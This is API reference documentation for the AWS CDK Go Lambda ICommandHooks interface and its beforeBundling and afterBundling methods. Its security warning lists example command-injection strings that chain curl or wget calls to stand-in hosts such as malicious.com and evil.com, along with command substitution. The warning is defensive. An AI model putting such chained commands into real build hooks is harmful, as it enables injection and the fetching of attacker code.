interface ICommandHooks 🔹

Language	Type name
.NET	Amazon.CDK.AWS.Lambda.Go.Alpha.ICommandHooks
Go	github.com/aws/aws-cdk-go/awscdklambdagoalpha/v2#ICommandHooks
Java	software.amazon.awscdk.services.lambda.go.alpha.ICommandHooks
Python	aws_cdk.aws_lambda_go_alpha.ICommandHooks
TypeScript (source)	@aws-cdk/aws-lambda-go-alpha » ICommandHooks

Command hooks.

These commands will run in the environment in which bundling occurs: inside the container for Docker bundling or on the host OS for local bundling.

⚠️ Security Warning: Commands are executed directly in the shell environment. Only use trusted commands and avoid shell metacharacters that could enable command injection attacks.

Safe patterns (cross-platform):

• go test ./... - Standard Go commands work on all platforms
• go mod tidy - Go module commands
• echo "Building" - Simple output with quotes
• make clean - Build tools (if available)

Dangerous patterns to avoid:

Windows:

• go test & curl.exe malicious.com (command chaining)
• echo %USERPROFILE% (environment variable expansion)
• powershell -Command "..." (PowerShell execution)

Unix/Linux/macOS:

• go test; curl malicious.com (command chaining)
• echo $(whoami) (command substitution)
• bash -c "wget evil.com" (shell execution)

Commands are chained with &&.

See also: https://docs.aws.amazon.com/cdk/latest/guide/security.html

Methods

Name	Description
afterBundling(inputDir, outputDir)🔹	Returns commands to run after bundling.
beforeBundling(inputDir, outputDir)🔹	Returns commands to run before bundling.

---

afterBundling(inputDir, outputDir)🔹

public afterBundling(inputDir: string, outputDir: string): string[]

Parameters

• inputDir string
• outputDir string

Returns

• string[]

Returns commands to run after bundling.

⚠️ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.

Commands are chained with &&.

---

beforeBundling(inputDir, outputDir)🔹

public beforeBundling(inputDir: string, outputDir: string): string[]

Parameters

• inputDir string
• outputDir string

Returns

• string[]

Returns commands to run before bundling.

⚠️ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.

Commands are chained with &&.